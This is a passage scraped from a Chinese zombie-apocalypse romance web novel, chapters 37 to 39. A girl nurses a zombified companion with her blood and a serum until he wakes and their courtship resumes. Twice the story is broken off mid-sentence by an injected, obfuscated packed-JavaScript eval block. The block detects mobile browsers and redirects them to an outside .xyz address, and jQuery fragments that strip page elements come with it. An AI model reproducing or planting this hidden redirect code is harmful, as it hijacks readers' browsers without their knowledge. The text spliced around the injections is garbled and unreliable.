“你真的很讨厌,盛星舟。”桑寄月有些恼怒,一脚把松散的雪堆踹开。 盛星舟盯着那堆雪,机械般的伸出手,将散乱的雪扫在一起。 桑寄月气不过,他刚把雪扫到一起,她又伸出脚踹散。 盛星舟平静的继续扫。 如此往复了几次后,桑寄月热出了一身的汗,微微喘息着躲去了屋檐下休息。 她撑着下巴,仰头看着远处一片白的天空,思维又开始发散:“盛星舟。” 他听见声音看了过来。 “你知道上辈子这个时候我在做什么吗?” 盛星舟看了眼已经扫好的雪,慢吞吞的走到了桑寄月旁边,等待她的下一步指令。 少女柔软的声音在耳畔响起:“因为太冷了,我生病了,如果不是乔乔一定要带上我,我那时候就冻死了。” 她摘掉手套,抬起手,接住了一片雪花。 那片雪花在她的掌心化开,留下一道湿湿的水痕。 “但是我怎么感觉——”她咧开嘴,笑得很开心:“现在其实也不是那么冷嘛。” 盛星舟在她面前蹲下,平静的和她对视,在她的注视下,他伸出手,将她柔软冰凉的手包裹在掌心。 热源不断传来,将寒冷完全驱散。 桑寄月眯着眼睛笑了好一会儿,然后抱了抱他,才站起身,说:“来堆雪人吧。” 来开心的玩耍吧。 …… 暴风雪并不能阻挡丧尸大部队迁徙的步伐,在燕城幸存者基地还在因暴风雪引发的寒潮灾难而焦头烂额的时候,丧尸正在不断的逼近基地。 与这危机一同苏醒的,还有在暴风雪中得到进化的动物,被称之为异兽,比原本的体型更大、力量更强,横冲直撞着,只想摧毁一切。 这是一个漫长而艰难的冬季。 虽然幸存者基地发现及时,但沦陷已经是难以挽回的结果,最后一波幸存者被军方护送着离开幸存者基地,也昭示着燕城完全沦陷。 在末世的巨大版图之下,属于丧尸的城池,再添一座。 接下来在燕城中,更多的是丧尸与异兽的厮杀。 不过这一切都暂时和桑寄月、盛星舟无关,他们生活在乡下,短暂与世隔绝。但生活倒也不是无忧无虑的,桑寄月最近就有些苦恼。 因为她的小仆人这段时间似乎胃口出现了一点问题,血袋放在他的面前,他也只是抬了抬眼皮子,一动不动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16169165|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有进食的丧尸眼看着就瘦了一圈。 桑寄月还以为是食物出了问题,但她还替他尝过,味道没有任何问题,保存得非常好。 他为什么拒食呢? 桑寄月想不通,于是她割破了自己的手指,准备用新鲜的血液诱惑一下他。 一边的盛星舟倏的看向了她。 桑寄月朝着他晃了晃手指,问他:“想吃吗?想的话就过来。” 过来她就把那袋血包怼他嘴里。 盛星舟盯着那根纤细的手指,上面冒着一滴鲜红的血珠,很是惹眼。 但他还是站在原地没有动。 桑寄月更稀奇了,她三两步跑到盛星舟跟前,仰着脑袋看着他,嘀咕道:“是不是想起了什么,所以觉得进食恶心?” 盛星舟面无表情的看着她。 桑寄月举着手指头手臂都僵硬了,他还愣是一动不动。 “可是不进食是不行的。”桑寄月严肃的说道。 她踮起脚,指尖划过他冰冷的唇,血珠涂抹开,在他唇上留下鲜红靡丽的色彩。 他的瞳孔似乎颤了颤。 下一瞬,几乎是不受控制的,舔掉了唇上的那几滴血。 桑寄月看他终于进食,稍稍松了口气,她一边趁着伤口还新鲜努力的再挤出几滴血,一边得意的说道:“原来你是挑食呀,是不是还是我最香啦。” 只是指尖尚未触碰到伤口,盛星舟忽然伸出手,将她的手握住了。 桑寄月歪头:“嗯?你做什么?” 盛星舟的动作依旧很僵硬,将她带到了沙发上坐下,然后拿出了医药箱里的创可贴,小心的将她指尖的伤口包扎好。 “好像真的又聪明了一些。”桑寄月动了动指尖,然后奖励的拍了拍他的脑袋,笑着说道:“你在慢慢好起来,对吗?” 他的神情未再出现波动,依旧面无表情的看着她,覆盖着一层白膜的眼睛里毫无神采。 自然也没有给桑寄月任何回应。 桑寄月有些失落。 “对了盛星舟。”她又想起什么,情绪立刻高涨了起来:“明天就是除夕啦,我想吃大餐,我们今天出门去找食材吧。” 外面的雪已经停了好几天了,气温也在缓慢的回升,代表着冬天就要过去。 说明异兽也出现了。 既然盛星舟不太愿意吸食血液,现在想换一换食谱的话也不是不行,再不改善食谱的话,万一哪天连她的血他都不肯喝了,那他岂不是只能日渐消瘦。 桑寄月越想越忧心,她又冲着盛星舟抱怨道:“你怎么变成丧尸了就开始挑食了,能不能和你的老师我学一学,我就不挑食,就算是当丧尸我也见人就啃的!” 盛星舟:“……” 已经确定了今天的行程,桑寄月穿戴整齐后,不忘给盛星舟也围上暖和的围巾,虽然他也不会觉得冷就是了。 两人手牵着手出门。 今日阳光明媚,外面的积雪也融化了很多,但放眼望去仍是白茫茫的一片。 桑寄月正指挥着盛星舟破开河面的冰的时候,一位不速之客映入眼帘。 37. 遗憾 他们落脚的地方是一处偏僻的村落,不大的小村庄里当时空无一人,连丧尸都没有,只有几具腐烂的尸体,藏在冰天雪地里。 而桑寄月与盛星舟居住的地方是这座村庄里最里面最幽静的一处小院,背靠着大山,完全不存在会碰到其他人的情况。 但不是人的话就不一定了。 桑寄月裹着厚实保暖的白色大衣,踩着柔软的暖和的靴子,往后退了一步,确保扑腾的水花不会弄湿她的鞋子。 被按在水里的身影止不住的挣扎着,一边挣扎一边大喊:“救命啊,为什么会有丧尸对我敌意那么大啊?” 盛星舟蹲在岸边按着那道身影,不让他上岸,但明显有点按不住,最后索性一头扎进了水里。 原本还在看乐子的桑寄月吓了一跳:“盛星舟,赶紧上来,水里很危险!” 愤怒中的盛星舟并没有听见桑寄月的声音,但直到水里的异兽开始攻击入侵者们,他们才忙不迭的冲破水面,溅起的水花最终还是落了蹲在岸边的桑寄月一身。 桑寄月的表情立刻就臭了。 虽然身上的水很快就被她蒸发了。 她扭头就走。 盛星舟带着一身湿意追上她,然后用被异能烘得暖暖的手拉住了她的衣袖,小幅度的晃了晃。 桑寄月轻哼一声:“认错态度优秀,不和你计较。” “要不你还是计较一下呢?”从水里爬出来的季信顶着一身的鱼鱼虾虾,非常不爽的说道。 桑寄月面无表情的回:“为什么要计较?是你想攻击我。” 季信听她竟然还在用丧尸语和他对话,越发惊奇。 季信好不容易才找到桑寄月和盛星舟,但原本还全是同类味道的桑寄月变成了诱人的甜香,他下意识的就认为这是盛星舟的食物,那他必然是要分一杯羹的。 于是他毫不犹豫的扑向桑寄月。 然后就被盛星舟按在了水里,恶毒的丧尸想让他窒息,笑死了他根本不需要呼吸,只是水里那些变异了的鱼虾下嘴实在是狠,疼都疼死了。 只是看见桑寄月,季信又忍不住嗅了一口,眼睛里流露出了贪婪的光。 桑寄月拍了下盛星舟:“咬死他。” 接收到指令后,盛星舟立刻扑向朝着桑寄月伸长了脖子的季信—— 季信的眼神清澈,扑通一声又跪了:“别打我了,我走这一趟不容易的。” “回来吧。”桑寄月开口。 盛星舟趁机踹了季信一脚,才回到桑寄月的旁边,桑寄月一边把盛星舟身上挂着的鱼鱼虾虾拔下来丢进旁边的水桶里,一边和季信交流。 “你是怎么找到我们的?” 季信也在拔自己身上的鱼虾,一边回答道:“我是没什么用的追踪异能啊……” 但桑寄月的气息发生了改变,季信就只能追踪盛星舟的气息,没想到还真让他找到了,他们竟然还在一起。 以前是丧尸和丧尸就算了,但他们可是人类和丧尸诶! 这种低等的丧尸是怎么控制对于新鲜血肉的渴望的? 他都快控制不了了,饿死了。 季信的眼神在贪婪和清澈之间切换。 桑寄月呢喃:“追踪异能啊……真有用。” “真的吗?你真的觉得我很有用吗?”季信眼睛一亮。 他虽然是高贵的异种丧尸,但偏偏觉醒的异能毫无用处,驱使一下普通丧尸也就罢了,真碰到同类,他绝对是被打的。 所以季信发现桑寄月的存在,一开始的想法就是抱大腿。 只可惜她是个人。 但她还挺有眼光,发现了他的闪光点。 “当然。”桑寄月颔首,然后话锋一转:“你帮我个忙。” 季信:“……” 这年头人类都开始接二连三的奴役丧尸了吗,又帮她忙?真当他是她旁边那只愚蠢的普通丧尸了吗? …… 季信最后还是屈服了。 因为桑寄月答应虽然他没有完成她当初给他的任务,但还是允许他在这里多待几天。 季信当然不可能完成那个连桑寄月都无法做到的任务,在桑淮死期未至之时,他永远都是被命运眷顾的。 据季信所说他这段时间一直致力于带着他的丧尸小弟们给桑淮找麻烦,但桑淮旁边那只异种丧尸却并不好对付,所以季信被打得很惨。 后来他实在受不了了,就跑来找他们。 桑寄月并不意外,但能给桑淮使点绊子,她听着就开心,于是要求季信着重说了他是如何带领丧尸小弟们骚扰桑淮的。 末了,她又嘀咕了一句:“这几个月了你竟然没被桑淮杀掉,他哪里会是这么心慈手软的人呢?” “因为他身边那只异种丧尸说我们这种丧尸非常罕见,杀了可惜,万一以后被盯上了,还能拿我顶包。” 桑寄月听得不停的拍手:“太聪明啦!” 然后季信又告诉桑寄月,他找到桑淮的时候,他身边只有殷乔和叶临,至于她说的林洛安林洛清,不知道去了哪。 “还能去哪,分道扬镳了呢。”桑寄月不用想都知道,她更开心了。 上辈子热热闹闹的大家庭这辈子怎么就散了呢。 是因为没有她吗? 桑寄月想着,心情越发愉悦。 彻底了解了桑淮这几个月的近况后,桑寄月就不再理会还想和她唠两句的季信,跑到厨房去找盛星舟了。 今日是除夕,盛星舟在做大餐。 变成丧尸之后什么都需要重新学,当然包括做饭,盛星舟在桑寄月的指导下学了好几个月的时间了,如今炒起菜来也有模有样。 看见桑寄月终于来找他,被发配到厨房的盛星舟立刻迎了上去。 季信也闻着味道过来了,目瞪口呆:“天呐,丧尸在炒菜。” 桑寄月满意的看着灶台上琳琅满目的菜色,夸赞盛星舟:“比你当人的时候做得好多啦,果然我教导有方。” 盛星舟:“……” 他用干净的手捏了一块切得薄如蝉翼的腊肉,递到了桑寄月嘴边。 桑寄月撇了下嘴:“我又不是小朋友,我有手的。” 唇边的腊肉还在,被她一口咬掉。 季信捧着下巴:“天呐,倒反天罡,丧尸在投喂人类。” 盛星舟又去了灶台前忙碌。 桑寄月嫌弃这里的油烟太大,待了没多久就想走,季信亦步亦趋的跟上她要和她聊天,她毫不客气的说:“你也别闲着,去帮盛星舟扒蒜。” “天呐,人类开始奴役丧尸了,溜了溜了。” 刚想跑的季信被桑寄月抓回来,匕首搁在脖子上,才灰溜溜的去了厨房蹲着。 盛星舟喜提小学徒。 入夜,年夜饭也做好了,由居家必备的火异能温着,冒着氤氲热气,满屋都是食物的香气。 桑寄月尝试让盛星舟将异兽做成的菜,但季信吃得挺开心,他却只是掀了掀眼皮子,浅尝了一口,然后吐了出来。 季信一边嚼一边说:“他们普通丧尸哪里吃得来异兽哦,都只想着喝人血吃人肉。” 桑寄月有些忧愁的叹了口气。 季信正要劝赶紧把不会说话也不会享受异兽美味的丧尸丢了吧,就听桑寄月淡淡的说:“你明天就走吧。” “啊?” 他才刚来诶。 桑寄月看了眼正慢吞吞的剃着鱼肉往她碗里放的盛星舟,说道:“用你的追踪异能,帮我送两封信。” “凭什么。” 桑寄月说:“有报酬的,你问收信人要,他人比我好多了。” “人?”季信抓住关键词,咽了咽口水。 桑寄月笑眯眯的颔首:“是呢。” 季信再次高兴的接下了新任务。 一顿年夜饭结束,桌子上的饭菜不剩下多少了,大半都便宜了季信,桑寄月本来还以为盛星舟会因为食谱变更而胃口大开,结果却不尽如人意。 夜深了。 桑寄月没有守岁的习惯,她现在的生物钟非常健康,到点就困。 季信被安置在了破破烂烂的次卧,盛星舟在客厅晃了一圈之后,推门进了桑寄月的卧室。 桑寄月还没睡,正在写信。 盛星舟无声无息的站在她的身后,低垂着眼眸,看着信纸上漂亮的黑色字体。 落下最后一笔后,桑寄月偏过头去看盛星舟:“看得懂吗?我在给哥哥写信。” 本来是没打算这时候联系江望曦的,但她觉得她有必要和江望曦沟通一下盛星舟目前的情况。 桑寄月没有养丧尸的经验,但江望曦有,所以她想向江望曦讨教一下,盛星舟不爱吃东西,她怕一不小心把他养死了。 她当丧尸的时候也不挑食啊。 将信纸收好好,桑寄月打了个呵欠,在上床睡觉前问盛星舟:“你饿不饿呀?” 他如同从前任何一次一样安静的注视着她。 桑寄月想了想,正要再割破手指喂他喝点血,被他按住了手,是拒绝的意思。 “好吧好吧。” 蜡烛熄灭,房间里陷入一片黑暗。 桑寄月踢掉鞋子跳上了床,躲进了柔软冰凉的被窝里:“盛星舟,给我暖床。” 这是旧年里的最后一天,他们如同过去很多个夜晚那样,相拥而眠。 虽然盛星舟并不用睡觉。 桑寄月的耳朵贴着他的胸膛,只能感受到温度,心跳却从未有过起伏,她轻声说:“新年快乐,盛星舟。” 随着桑寄月的入睡,房间里彻底安静下来。 盛星舟半晌才反应过来,张了张嘴,很慢的说:“……快乐,阿、月。” 人话和丧尸话夹杂在一起,清晰吐出来的也就只有四个字。 …… 不速之客带着桑寄月的信和桑寄月给出的江望曦的气息离开后,他们的生活再度重归平静,桑寄月的烦恼并没有改变。 盛星舟不愿意进食。 她甚至还试过亲自下厨,换作从前盛星舟就要感恩戴德了,但丧尸盛星舟明显不感兴趣,宁愿吸点血包维 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174903|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 持体力。 当她尝试着划破手心给他喂血的时候,他的反应又会格外的大,先前还会控制不住的跑上来舔,后来这招也不管用了,她一划伤自己,他就躲得远远的,直到她把伤口包扎好他才跑出来。 不过盛星舟也在很努力的进食了,但或许是身体开始排斥一切食物,他仍在慢慢的衰弱。 桑寄月难得有些焦灼的等待江望曦的回信。 春日里草长莺飞,季信终于披着清晨朝露回来了,他也带来了江望曦就在隔壁城池的幸存者基地中的消息。 桑寄月迫不及待的拆开信封,映入眼帘的是江望曦回她的第一封信—— 她和江望曦告了状,说叶临变成丧尸了,还是异种丧尸,要求江望曦将叶临控制起来,他会缺少这样的实验样本。 江望曦同意了,回给她的信也是让她安心,叶临已经被军方控制,就是桑淮也无法插手。 而她给出的第二封信,江望曦没回。 桑寄月撇了下嘴,有些生气。 不过她还是决定服软。 她在纸上画了一个流泪的猫猫头,交给了季信,让他继续帮她送信。 虽然江望曦的确给了季信很丰盛的“报酬”,他现在看见桑寄月眼神都始终清澈了,但是给江望曦送信实在是太危险,他躲过了重重排查,最后险些栽在收信人的面前。 “就送这吗?”季信看她三两下画好猫猫头,有些不可置信的说:“你知不知道我一来一去得一个月啊?” 桑寄月:“你不会使用交通工具吗?城里满大街的车,你随便开一辆。” 季信一想桑寄月说得好像也有道理,而且收信人给得又确实多,比桑寄月要大方多了…… 送就送,填饱肚子最要紧! 季信接过桑寄月手里的信封,雄赳赳气昂昂的说道:“以后我就给你们俩打工了!” 季信又一次离开了。 又是半个月过去。 季信终于回来。 这一次他带了一封信,和一个白色的箱子。 桑寄月眼睛一亮,没去看信,而是先打开了箱子,里对面摆放着九支药剂,如果一个月打一支的话,刚好用到年底。 她这才拆开信去看,这是一封很长的信,因为江望曦手中有很多实验样本的原因,他耐心的解释了盛星舟目前的情况。 江望曦的血清的确是有用的,但他的实验数据还停留在上辈子,那时候末世已经两年,人体基因也发生了很大的转变,所以那份血清并不能马上作用于现在的人类身上。 这也是造成盛星舟这种状况的原因——血清比基因更先进,身体无法吸收。 病毒和血清在他体内打架,又在不断进化的基因中中和到某个稳定的维度,但或许是因为某种能量失衡了,身体也就跟着衰弱了下去。 人类思想与丧尸身体的碰撞,让他难以进食,日渐衰弱。 江望曦给了她两种选择—— 继续给盛星舟注入血清;或者顺其自然。结果无非就是两种,要么好转,要么崩塌。 桑寄月很信任江望曦,他既然给她送来了血清,她相信他就是有把握的,所以桑寄月没有犹豫太久,就为盛星舟注入了第一支血清。 季信闲了几天之后问桑寄月:“不要我送信了吗?” “不用。”桑寄月正在哄盛星舟舔掉她指尖的血,头也不抬的回答。 季信已经习惯了忙碌的生活,桑寄月拒绝了他,他就去隔壁城找了江望曦,最后过了一个月,还真带了封信回来。 桑寄月本来以为江望曦是有新情况要和她说明,结果拆开信封一看,里面只有简略的两行字—— 不需要我了吗? 怎么不写信给我。 桑寄月把信扔到一边,没理。 过了几天她才又想起了这件事,在纸上落下斗大的“需要”两字,让季信把信送走。 时间流逝得很快,桑寄月抽屉里和江望曦往来的信件越来越多,药箱里给盛星舟注射的药剂却越来越少。 这一日,桑寄月盯着无聊的在院子里晃悠的盛星舟,走过去戳了戳他:“盛星舟。” 他垂眸看着她。 “你瘦了好多。”桑寄月说着,又摸了摸他的腹部:“好不容易练出来的腹肌都要瘦没了,你要是醒了得哭死。” 盛星舟:“……” 他木木的看着桑寄月。 桑寄月又说:“你的情况并没有改善,或许我该直接带你去找哥哥了,我们明天就出发吧。” 反正他们迟早也会见面的,无非是因为盛星舟提前了而已。 她小声嘀咕道:“可是那样我就不能这样每天和你在一起了,唉。” 似乎是触发了某个关键词,盛星舟环住了她的手腕。 “好啦,别担心。”桑寄月像是在对他说,又像是在对自己说,她笑道:“说了这两年给你,就不会食言。” 他们一起生活也已经一年了。 只是很遗憾,过去的时间盛星舟都浑浑噩噩,他会觉得遗憾吗? 38. 苏醒 盛星舟感觉他好像一直被困在梦境中,意识清晰的陷在混沌之中,举目四望,一片黑暗,只时不时的有熟悉的声音不断传来。 那是桑寄月的声音,她一直在和他说话。 声音断断续续,模糊不清,他只能很偶尔的听清楚她在说什么,又只能在极少数的时间里挣扎着醒来回应她。 这样的无力几乎将他逼疯。 盛星舟感觉他成了行尸走肉,终日漫无目的的游荡着,只有少女用柔软冰凉的手牵着他的时候,他才短暂的有了方向。 后来他习惯了她的存在,也无需那柔软的束缚,便已有无形的绳索,将他锁在了她的身边,犹如虔诚追随的信徒。 怀中不知何时总会有一具冰凉的身躯,而那时候的他仿佛是有温度的,能够将冰凉捂热。 他贪恋这种感觉。 盛星舟意识到他的意识可能回不去那具腐烂僵硬的身体了,可是桑寄月一直没有丢下过他。 隐隐约约间,他听见她用轻快的语气,许下了动听的承诺,她说要给他两年。 什么两年? 是他想的那个意思吗? 盛星舟没有机会问她,因为他醒不过来。 后来盛星舟接住了一片冰凉的雪花,他们似乎又换了新的家。 他不知道做什么时候,耳边总会适时响起熟悉的声音,让他忙得团团转。 这样的生活快乐而充实。 他几乎都忘记了他原本的生活是怎样的,似乎和现在也没什么区别。 他放任自己沉眠在混沌中。 只是或许是因为耳畔始终没有断过的熟悉声音,会在他彻底沉入混沌中时,短暂的将他拉起来。 盛星舟就这样沉沉浮浮的过着。 然后冬天过去了。 熟悉的声音依旧没有断过,只是多出了些许的疲惫与茫然,在他耳畔萦绕:“盛星舟,你还是没有醒过来吗?” 盛星舟经常听见桑寄月这样说。 她说了很多很多遍,还经常威胁如果明天他再醒不过来,她就…… 或许是桑寄月没有说,又或许是桑寄月的花样太多,盛星舟已经不记得了。 他记得更清楚的是口腔里萦绕着的独特的、甜美的气味。 味道来源于桑寄月,但会让她受伤。 盛星舟非常抗拒,身体和思想都在排斥,但她似乎格外执拗,一定要将血喂到他嘴里。 她叹息道:“不要浪费啦,你不能不进食。” 只是进食了又能怎么样呢? 他又醒不过来,沉眠的时间还越来越长了。 原本是永远不知疲倦的身体,可以始终徘徊游荡,却不知为何开始只能呆呆的待在同一个地方。 她似乎是见不得他一天都不动弹一下,所以一天带他遛狗三次,后来或许是大福年纪大了,在外面也玩不了太久,她就不遛狗了,让大福在院子里玩,只每天牵着他出去走走。 春,夏,秋,冬。 四季组成了他这浑浑噩噩的一年。 他看不见,也听不见,一切都是混沌的,只有手边的温度,如此清晰。 好想醒过来啊。 他不想浑浑噩噩度日,和她待在一起的每一天他都应该是清醒的、深刻的。 他已经耽误很久了。 盛星舟这样想着。 又是夜晚。 这是盛星舟最喜欢的时刻,因为这是他与桑寄月距离最近的时候。 桑寄月喜欢温暖的怀抱,而他喜欢抱着她,只有与她接触时,感受到她冰凉的体温,他才会有一种活着的错觉。 她已经熟睡。 盛星舟如同过去的每一个夜晚那样,一动不动的抱着她,她习惯性的贴着他的胸膛睡,耳朵抵着他的心口,轻缓绵长的呼吸也会随之穿透身前的布料。 他能清晰的感受到她呼吸的频率,很轻,很少,却足够鲜活。 沉寂的心脏像是被小猫爪子挠了一下,猝不及防的跳动了一瞬。 然后一发而不可收。 他睁着眼,呆呆的看着她,像是和从前一样。 可是他的心脏在跳动。 视线所及之处,也不再蒙着一层朦胧的白色,由他怀中的色彩开始绽放,整个世界都有了颜色。 身体僵硬了太久,盛星舟忍不住动了动。 桑寄月没有醒,她睡得很沉。 盛星舟怕把她吵醒,不敢有太大的动作,只是心脏在疯狂的跳动着,呼吸也因为激动而沉了许多。 他忍不住伸出手,尖利的指甲被桑寄月修剪得圆润光滑,他的指尖落在了她柔软的脸颊上。 好像瘦了一些,或许是因为这一年来他太虚弱,她没再支使他做什么,又或许是她时不时会割破手指或手臂放血。 盛星舟小心的嫌弃她的衣袖,看见了上面缠着的绷带。 他的心情沉重又懊恼,忍不住将她抱得更紧。 见她额角的发丝垂落在白皙的脸上,他还伸手帮她将碎发别到耳后。 然后安静的抱住她,时不时的动一下,证明他开心得睡不着。 冬夜如霜的月光透过窗户洒进昏暗的房间里,将她的脸照得透亮莹润,仿佛闪烁着珍珠一样的光华。 盛星舟低头看她,只要看见她,他就很难挪开目光了,他像是受到了蛊惑一样,忍不住贴她更近—— 桑寄月忽然叹息了一声。 盛星舟立刻不敢动了。 “今晚你怎么这么活跃?”她的声音听起来还是很困,眼睛也还是闭着的,她问他:“是饿了吗?” 盛星舟:“……” 他一声不吭。 桑寄月打了个呵欠,睁开眼睛,接着说:“不然怎么想啃我嘴巴?故意的吗?你还挺会选位置的,盛星舟。” 盛星舟更不敢说话了。 “不过不能这样哦,我会觉得很脏。”桑寄月说着,伸出一根没贴着创可贴的手指,正要咬破,又被盛星舟按住。 她眉头微皱:“你刚才吵我难道不是因为饿了吗?” 盛星舟想说他只是太开心了,但他不太确定如果让桑寄月发现他醒了还想偷亲她,她会不会生气。 虽然他们已经开始谈恋爱了,但他过去都没什么参与感,一切都得循序渐进。 先装一下丧尸。 盛星舟想着,就闭上了眼睛,假装睡觉。 桑寄月:“?” 闭什么眼? 她盯着盛星舟许久,才重新闭上眼,贴近了他的胸膛。 耳畔又有了声音。 意识到的那一瞬间,桑寄月好半晌才回过神来,她忽然伸出手紧紧的抱住了他的腰。 盛星舟开心得差点就睁开眼睛看她了。 这是一个普通而美好的夜晚。 …… 今天是他们原定出发的日子。 季信非常积极的一大早就等在了门口,等着和他们一起出发,但盛星舟蹲到角落里背对着他不知道在做什么,桑寄月端着热牛奶慢悠悠的走过来,似乎完全没有出发的意思。 正如他所料,桑寄月甚至连理由都没有,直接就说:“我不去找哥哥了,你替我去和他说一声。” “为什么啊?” 季信作为两人之间的信差,和江望曦也算是混熟了,每次除了信,江望曦都会问问他桑寄月的近况。 上一次收到桑寄月说她要来找他的信,平时喜怒不形于色的男人难得流露出喜色,还送了他几枚珍贵的晶核,希望他能让桑寄月尽快回家。 结果没想到桑寄月说不去就不去了 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似乎已经完全趋近于正常人。 真好。 就是智商没有长进,还在装。 桑寄月勾了勾唇,温柔的问他:“盛星舟,你饿了吗?” 盛星舟摇头。 他早上趁着桑寄月没醒,把昨晚她没吃完热在锅里的饭菜都吃光了,所以现在很饱。 桑寄月摸出一个血袋,朝着他勾了勾手指:“来吃饭。” 盛星舟看着桑寄月手里的血袋,面色变得有些古怪。 也不知道她哪里来的那么多血袋,都一年多了竟然还没消耗完,他明明喝了那么多了…… 盛星舟想起过去茹毛饮血的生活,神情一变再变,有些恶心。 要不再去刷个牙? 别说桑寄月嫌弃,他自己都嫌弃。 “你想我怎么哄你吃饭呢?”桑寄月温声细语的说:“我用嘴喂你好不好?” 盛星舟捕捉到关键词:“好……” 桑寄月瞥了他一眼。 他改口:“不好。” 说完话后才后知后觉的察觉到不对劲。 他之前会这么说话吗? “那怎么办呢,你昨晚不是就想啃我的嘴巴吗?”桑寄月笑眯眯的看着他,准备等他贴过来她就给他一巴掌。 拎不清的笨蛋,竟然想占她便宜。 听见桑寄月的邀请,盛星舟的确是想继续昨夜未完成的事,毕竟他们也算是“久别重逢”,又开始谈恋爱了,他亲亲她也不过分吧? 盛星舟也不去想什么伪装了,立刻说道:“我刷牙了。” 桑寄月“嗯”了声,盯着他凑近。 盛星舟看起来很紧张,但桑寄月脸上没有任何表情,冷静得过分,只是垂在身侧的手已经悄悄抬了起来。 在彼此距离贴近的那一刻,他们的呼吸也交织在了一起。 他微微泛青的脸上随之染了一抹红。 桑寄月数着盛星舟的距离,朝着他挥起手掌—— 掌心忽然贴上了一抹温热。 那个吻落在了她的掌心。 盛星舟抓着她的手,又亲了亲,然后贴在了他的脸颊上:“阿月——” “好开心你没有丢下我。” “你的承诺我都听见了。” “所以我来遵循诺言了。” 他要和桑寄月谈恋爱! 桑寄月那一巴掌最后还是没落下去,她缩回了手,掌心滚烫。 她有些不自在,想发脾气,但想想还是算了。 毕竟盛星舟好不容易醒过来,给他一点奖励也是应该的。 39. 两年 虽然盛星舟已经清醒了过来,但身上还有部分属于丧尸的特征没有褪去,担忧自己哪天忽然又不清醒的盛星舟每天都要照几十次镜子,生怕他又变回去了。 桑寄月倒是罕见的对丧尸病毒有了解,和他说:“还剩下两支血清,依旧一月一次,到年底差不多就能好。” 因为盛星舟是在完全感染前注射的血清,所以如果血清治愈了病毒,丧尸的特征褪去,他自然还是人类。 而且以后盛星舟也不用怕感染了,痊愈后他的体内也会有抗体。 盛星舟高悬的心放松了许多,又忍不住问:“阿月,你怎么什么都知道?” “哥哥的所有实验我都知道。”桑寄月骄傲的仰起脑袋,高傲的说道:“还好你碰上的是我,不然哪来的血清。” 桑寄月毫不避讳的提起江望曦,让盛星舟意识到了一件事。 哪怕桑寄月选择了他,但这似乎并不代表她和江望曦的羁绊就此终结。 他有些不安,忍不住看了桑寄月一眼,桑寄月正扬着下巴等他感谢,他收敛思绪,亲昵的圈住她,笑着说道:“还好遇到的是阿月,和你在一起真好。” 之前盛星舟没有意识,基本上都是桑寄月主动钻进他怀里取暖,现在他清醒了,如此熟稔的与她亲近,倒是让桑寄月不太习惯。 桑寄月板着脸推开了盛星舟,严肃的对他说道:“不要动手动脚,我们没有亲密到那种地步。” “啊?没有吗?”盛星舟眨了下眼,问她:“那今晚还要我给你暖床吗?” 桑寄月想了一下:“有需要的话我会叫你的。” 好一个招之即来挥之即去。 盛星舟又问:“那我们现在到哪种地步了?” “和以前一样呀。”桑寄月理所当然的说:“去给我做饭。” “好的月姐。”盛星舟应得很快。 他们的生活似乎并没有随着盛星舟清醒而发生太大的转变,但桑寄月还是很开心的,因为她终于可以不用照顾一具尸体了,现在轮到盛星舟来伺候她。 不过转变还是有一些的,比如今晚桑寄月并不打算再用盛星舟暖床。 她的目的很单纯,可她觉得盛星舟的目的不太单纯,以前是尸体的时候没有意识还好,现在正常了,他一定会多想。 况且现在也还没有冷到需要他的时候。 所以桑寄月只让盛星舟给她灌了热水袋用来暖被窝。 盛星舟不太情愿的灌了热水袋,给她放进被窝里,和她念叨:“阿月,热水袋有我暖和吗?热水袋会凉,可我不会。” “好像也是。”桑寄月犹豫了一下。 盛星舟眼睛一亮:“那我……” “那你凌晨三点起来替我换一次热水袋,不要吵醒我。” “啊?” 桑寄月开始赶人:“你出去吧,我要睡觉了。” 盛星舟被她推了出去。 现在是冬天,外面很冷,被冷风一吹,盛星舟觉得他的心都要冷了。 但是没关系他会热的。 盛星舟重新敲门进来,迎着桑寄月的目光说道:“可是次卧透风,我会生病的,可以收留我到次卧修好吗?月姐。” 桑寄月想到了破破烂烂的次卧。 盛星舟再接再厉:“而且就凭我们现在的关系,睡一间房也很正常呀,我们就和以前一样嘛。” 他在桑寄月承诺的时间内醒来了,在过去的相处中,虽然他不清醒,但并不妨碍他们的关系发生质的飞跃,现在他只不过是要将这段恋爱萌芽延续下去而已。 桑寄月沉默。 虽然她觉得她和盛星舟是被追求者和追求者的关系,他就该卑微,但之前他们的确也是睡一间房的,现在也不过是维持原状而已。 盛星舟都这么坦然的表明态度了,她再扭扭捏捏也没必要。 桑寄月应声:“行吧,但我希望你动作少一点,会吵到我。” 昨晚上就被他吵醒了。 “我保证不乱动。”盛星舟连忙说道。 他又开始忙碌了起来。 先是把那两个放在被窝里的热水袋给扔出去,接着跑去了卫生间刷牙洗澡,拾掇了许久,回来的时候桑寄月打着呵欠将手里的书放在一边,让盛星舟熄灯睡觉。 屋子里很快就暗了下来。 盛星舟看着床上那团小小的起伏,有些紧张的在原地站了一会儿,然后才小心翼翼的在床边坐下。 柔软的床垫凹陷,又半晌都没有了动作。 桑寄月:“不睡就滚。” 被窝都凉了。 桑寄月习以为常的样子让盛星舟觉得他未免太紧张了。 只是像以前那样而已的,别怕,现在桑寄月也不会再捅他了。 他钻进了被窝里,伸手去抱她。 盛星舟的体温已经正常,此时偏高,被窝里连带着桑寄月都很快暖和了起来。 